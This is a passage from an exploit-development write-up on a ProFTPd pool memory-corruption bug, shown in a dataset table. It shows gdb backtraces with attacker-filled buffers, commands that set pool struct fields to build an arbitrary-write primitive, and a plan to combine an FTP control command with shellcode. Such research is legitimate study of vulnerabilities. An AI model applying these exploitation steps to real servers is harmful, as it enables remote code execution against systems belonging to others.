text stringlengths 0 1.99k |
|---|
----[ 5.3 - Execution and offsets control |
A new execution was started inside gdb and with ASLR turned off. |
Turn off ASLR system-wide like so: |
$ sudo sysctl kernel.randomize_va_space=0 |
Now that we have a breakpoint on pool.c:569 right before the crash, let's |
take a look at the backtrace: |
gef➤ bt |
#0 alloc_pool (p=0x5555556e86a0, reqsz=0x4, exact=0x0) at pool.c:569 |
#1 0x0000555555575a8e in palloc (p=0x5555556e86a0, sz=0x4) at pool.c:609 |
#2 0x0000555555577839 in pstrdup (p=0x5555556e86a0, |
str=0x555555688768 "426") at str.c:276 |
#3 0x00005555555a42db in pr_response_set_pool (p=0x5555556e86a0) at |
response.c:89 |
#4 0x000055555557025e in pr_cmd_dispatch_phase (cmd=0x5555556ba4e8, |
phase=0x4, flags=0x0) at main.c:650 |
#5 0x00005555555fc463 in xfer_exit_ev (event_data=0x0, user_data=0x0) |
at mod_xfer.c:4092 |
#6 0x00005555555c0b3d in pr_event_generate (event=0x5555556482f5 |
"core.exit", event_data=0x0) at event.c:357 |
#7 0x00005555555c1ee6 in sess_cleanup (flags=0x0) at session.c:82 |
#8 0x00005555555c200d in pr_session_end (flags=0x0) at session.c:125 |
#9 0x00005555555c1fea in pr_session_disconnect (m=0x0, |
reason_code=0x2, details=0x0) at session.c:119 |
#10 0x00005555555a75cd in poll_ctrl () at data.c:951 |
#11 0x00005555555a7afd in pr_data_xfer (cl_buf=0x5555556e86a0 'A' |
<repeats 16 times>, "DDDDDDDD", 'A' <repeats 48 times>, |
"\340\206nUUU", cl_size=0x20000) at data.c:1095 |
#12 0x00005555555f592c in xfer_stor (cmd=0x5555556bc568) at mod_xfer.c:2030 |
#13 0x00005555555a89c7 in pr_module_call (m=0x5555556734c0 |
<xfer_module>, func=0x5555555f47c7 <xfer_stor>, cmd=0x5555556bc568) at |
modules.c:59 |
#14 0x000055555556f98f in _dispatch (cmd=0x5555556bc568, cmd_type=0x2, |
validate=0x1, match=0x5555556bc600 "STOR") at main.c:360 |
#15 0x000055555557046b in pr_cmd_dispatch_phase (cmd=0x5555556bc568, |
phase=0x0, flags=0x3) at main.c:696 |
#16 0x0000555555570857 in pr_cmd_dispatch (cmd=0x5555556bc568) at main.c:789 |
#17 0x0000555555570cdf in cmd_loop (server=0x55555568ad28, |
c=0x5555556ae3c8) at main.c:931 |
#18 0x00005555555720c4 in fork_server (fd=0x1, l=0x5555556ac188, |
no_fork=0x0) at main.c:1494 |
#19 0x0000555555572936 in daemon_loop () at main.c:1731 |
#20 0x0000555555572dea in standalone_main () at main.c:1916 |
#21 0x0000555555573cfe in main (argc=0x5, argv=0x7fffffffe3b8, |
envp=0x7fffffffe3e8) at main.c:2629 |
By looking at the call stack, we can guess that xfer_stor() was running |
when the main FTP control session was closed. Then a session cleanup was |
started and an event "core.exit" was generated. |
xfer_exit_ev() was called and error messages were set. Until now, we were |
working with the FTP data connection, but remember from the beginning that |
we also sent arbitrary commands through the FTP control connection. |
Where are they in memory? Can we reference them during the execution flow |
we have now? Good questions - let's see. |
As we saw, make_sub_pool() gives us an opportunity to write new_pool |
at an arbitrary address controllable by us. new_pool is a temporary pool |
that ProFTPd uses to store the command sent through the FTP control port. |
This means that our last command can possibly be used together with the |
shellcode to build our attack. |
Now let's trigger the vulnerability again and break at pool.c:569. |
Here I'm sending the following values: |
gef➤ set p->last = &p->cleanups |
gef➤ set p->sub_next = &p->tag |
gef➤ p *p |
$78 = { |
first = 0x4141414141414141, |
last = 0x5555556e0450, |
cleanups = 0x4444444444444444, |
sub_pools = 0x4242424242424242, |
sub_next = 0x5555556e0480, |
sub_prev = 0x4141414141414141, |
parent = 0x4141414141414141, |
free_first_avail = 0x4141414141414141, |
tag = 0x4141414141414141 |
} |
gef➤ c |
Now we should have a break on pool.c:432. |
Let's step up to the previous caller _dispatch() function. |
gef➤ up |
#1 0x000055555556f63e in _dispatch (cmd=0x5555556b99f8, ..., ) at main.c:287 |
287 cmd->tmp_pool = make_sub_pool(cmd->pool); |
gef➤ ct |
cmd holds a pointer to a struct cmd_struc type. Let's examine it: |
gef➤ pt cmd |
type = struct cmd_struc { |
struct pool_rec *pool; |
server_rec *server; |
config_rec *config; |
struct pool_rec *tmp_pool; |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.